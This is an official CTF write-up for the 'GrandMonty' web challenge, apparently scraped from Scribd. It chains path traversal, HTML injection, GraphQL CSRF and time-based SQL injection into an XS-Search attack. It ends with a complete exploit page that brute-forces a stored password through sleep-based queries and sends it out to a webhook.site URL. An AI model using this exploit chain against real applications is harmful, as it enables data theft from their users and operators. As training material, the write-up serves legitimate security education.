0% found this document useful (0 votes)
59 views11 pages

Grand Monty

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
59 views11 pages

Grand Monty

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 11

GrandMonty

03rd Aug 2022 / Document No. D22.102.29

Prepared By: Rayhan0x01

Challenge Author(s): Rayhan0x01, Makelaris

Difficulty: Hard

Classification: Official

Synopsis
The challenge envolves exploiting a GraphQL GET-based CSRF to XS-Search via time-based
SQL injection oracle.

Skills Required
HTTP requests interception via proxy tools, e.g., Burp Suite / OWASP ZAP.

Basic understanding of JavaScript and NodeJS.

Basic understanding of Cross-Site Request Forgery.

Basic understanding of XSLeaks attacks.

Basic understanding of SQL injection attacks.

Skills Learned
Performing SQL injection via CSRF.

XS-Search via time-based SQL injection.


Solution
Application Overview
Visiting the application homepage displays a form to submit an Encryption ID:

Submitting one of the valid enc_id specified in the challenge description works, and we are sent
to the following webpage:

Selecting the "Free Decrypt" tab displays an option to upload a file:


After uploading a random file, the following message is displayed:

The hyperlink leads to an error page that seems vulnerable to local file read:
We can specify path-traversal payload and read local files:

From the "Payments" tab, we can deliver a message to the ransomware group. Typing in a
message and sending it populates in the chat, and it seems we can inject HTML content as well:

However, trying to inject any JavaScript code fails because of CSP policy as highlighted in the
browser console logs:
From the local file read of index.js file, we can see the following code that assigns a CSP policy
to all the application routes:

app.use(function (req, res, next) {


res.setHeader(
'Content-Security-Policy',
`default-src 'none'; script-src 'self'; style-src 'self'
fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'; form-action
'self'; base-uri 'none'; connect-src 'self';`
);
next();
});

This blocks any potential chance of getting XSS unless we can upload a file on the application
server. There doesn't seem to be any upload functionality throughout the application, which leads
us to believe XSS is not possible at this endpoint. Since HTML tags are supported, injecting a meta
tag with refresh content to a public URL we control works, and we get redirected after submitting
the message:

<meta http-equiv="refresh" content="0;url=https://webhook.site/d8e78ddf-4548-


43fc-a719-c293cadc60ca" />

The webhook.site website is a request logger service that provides a public link and stores and
displays any requests made to that public link. If we submit the above payload, we can see all the
requests made to that public URL:
Interestingly, apart from our browser redirecting to the public URL, another request is logged,
which displays a referer header that points to an admin endpoint of the application. This suggests
the admin endpoint is also vulnerable to HTML injection, and the admin browser is also being
redirected to the public URL we control. That is pretty much all the features we can access as
regular users on this application.

Reviewing application source code for vulnerabilities


We can leverage the local file read vulnerability we found earlier to review the application source
code. Reading the routes/index.js file, we can see the views/message.html file is being
rendered on the admin endpoint:

router.get('/admin/messages/:enc_id', AdminMiddleware, async (req, res) => {


const {enc_id} = req.params;

let validEncKey = await db.checkEncId(enc_id);


if(!validEncKey.length) return res.redirect('/');

return res.render('messages.html');
});

Looking at the script tags defined in views/message.html that calls a couple of functions when
the window is loaded:

window.onload = () => {
$('.send-msg').on('click', sendMsg);
getRansomChat();
setInterval(getRansomChat, 5000);
populateRansomInfo();
}
The getRansomChat function is called first, along with a setInterval to call it every 5 seconds.
The function sends an API request to the /graphql endpoint to fetch the messages for the
encryption identifier:

const getRansomChat= async () => {


enc_id = location.pathname.split('/')[3];

await fetch('/graphql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
query: `query { RansomChat(enc_id: "${enc_id}"){id, enc_id,
message, created_at} }`
}),
})
.then((response) => response.json()
.then((resp) => {
if (response.status == 200) {
if (resp.data.RansomChat !== null) {
populateUserMsg(resp.data.RansomChat.message);
}
}
}))
.catch((error) => {
console.log(error);
});
}

From the helpers/GraphqlHelper.js file, we can see the query is only available to requests
originating from localhost:

RansomChat: {
type: RansomChatType,
args: {
enc_id: {
type: new GraphQLNonNull(GraphQLString)
}
},
resolve: async (root, { enc_id }, request) => {
return new Promise((resolve, reject) => {
if (!isLocal(request)) return reject(new GraphQLError('Only
localhost is allowed this query!'));
db.getRansomChat(enc_id)
.then(row => {
resolve(row[0])
})
.catch(err => reject(new GraphQLError(err)));
});
}
},
The db.getRansomChat() function defined in database.js seems to be susceptible to SQL
injection because no parameterization used to place the encryption id parameter in the SQL
query:

async getRansomChat(enc_id) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM ransom_chat WHERE enc_id = '${enc_id}'`;
this.connection.query(stmt, (err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
})
});
}

We can also see that the challenge flag is stored in the grandmonty.users table:

CREATE TABLE grandmonty.users (


id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(256) NOT NULL,
password VARCHAR(256) NOT NULL,
last_login DATETIME DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (id)
);

INSERT INTO grandmonty.users (username, password) VALUES


('burns', 'HTB{f4k3_fl4g_f0r_t3st1ng}');

The GraphQL endpoint has other queries that we can execute but doesn't contain an SQL injection
vulnerability:

GraphQL supports both GET and POST requests for queries which allows us to run the same query
with just a GET request:
This creates opportunities for Cross-site Request Forgery (CSRF) with just a single GET request. So
far, we have identified an HTML injection, an SQL injection, and a potential CSRF vulnerability on
GraphQL. We can put them all together to form a new attack.

Understanding the XS-Search vulnerability


XS-Search is a vulnerability similar to CSRF where instead of performing a specific action on behalf
of the user, various side effects are observed to infer information about the user or the
application. Due to the same-origin policy, we can't directly read the loaded content via CSRF, but
we can fingerprint if the content is loaded, how much time it took to load the content, and the
frame count of a loaded iframe, etc. For example, suppose an application endpoint returns
different HTTP status codes based on results. In that case, we can load the search endpoint on a
script tag and verify if a match is returned on the search or not based on the onload , and
onerror event handling:

However, in our case, the GraphQL endpoint always returns the same HTTP status code even if no
results are returned. Since we have an SQL injection, we can make the SQL query delay the results
by injecting the SQL sleep() command, resulting in an oracle that we can fingerprint based on the
response time.

SELECT * FROM ransom_chat WHERE enc_id = '123' and sleep(3)-- -'

Combining this with the meta tag redirect and GraphQL GET-based CSRF, we can brute-force each
character of a database column to identify the characters with time-based SQLi as an oracle.
Preparing the final exploit
The first step is to inject the meta tag to force the admin browser to visit our URL that contains the
exploit JavaScript code:

<meta http-equiv="refresh"
content="0;url=http://ATTACKER_IP:PORT/sqli_xsleak.html" />

The second step is to host the HTML file with the exploit JavaScript code that will perform the XS-
Search attack. We can leverage the JavaScript Promise interface to resolve a promise once an
image source has been successfully fetched:

<!DOCTYPE html>
<html>
<head>
<title>Stay</title>
<meta name="author" content="rayhan0x01">
</head>
<body>
<h1>Stay a bit longer...</h1>

<script>

window.sleepTime = 1000;
window.exfilURL = 'https://webhook.site/be7b3c74-3b90-4660-83a4-9310b74de6be'

const imageLoadTime = (src) => {


return new Promise((resolve, reject) => {
timeNow = performance.now();
const img = new Image();
img.onload = () => resolve(0);
img.onerror = () => resolve(performance.now() - timeNow);
img.src = src;
})
};

const xsLeaks = async (query) => {


imgURL = 'http://127.0.0.1:1337/graphql?query=' +
encodeURIComponent(query);
delay = await imageLoadTime(imgURL);

return (delay >= window.sleepTime) ? true: false;


}

const exploit = async () => {


sqlTemp = `query {
RansomChat(
enc_id: "123' and __LEFT__ = __RIGHT__)-- -"
){id, enc_id, message, created_at} }`;

readQueryTemp = `(select sleep (1) from dual where BINARY(SUBSTRING((select


password from grandmonty.users where username = 'burns'),__POS__,1))`
charList = '_}
{0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('')

charPosition = 1;

flag = '';

while(true) {
for(c of charList) {
readQuery = readQueryTemp.replace('__POS__', charPosition);
sqlQuery = sqlTemp.replace('__LEFT__', readQuery);
sqlQuery = sqlQuery.replace('__RIGHT__', `'${c}'`);
if (await xsLeaks(sqlQuery)) {
flag += c;
charPosition += 1;
new Image().src = window.exfilURL + '?debug=' + flag;
break;
}
}
if (c == '}') break; // End of the flag
}

new Image().src = window.exfilURL + '?flag=' + flag;

exploit()

</script>
</body>
</html>

When the bot visits the above exploit page, the XS-Search is performed automatically where the
client-side JavaScript sends the request from the admin browser, which passes the localhost check
and gives us the oracle we need to identify the database values by calculating the delay each query
took. The identified flag is then exfiltrated to our webhook log:

You might also like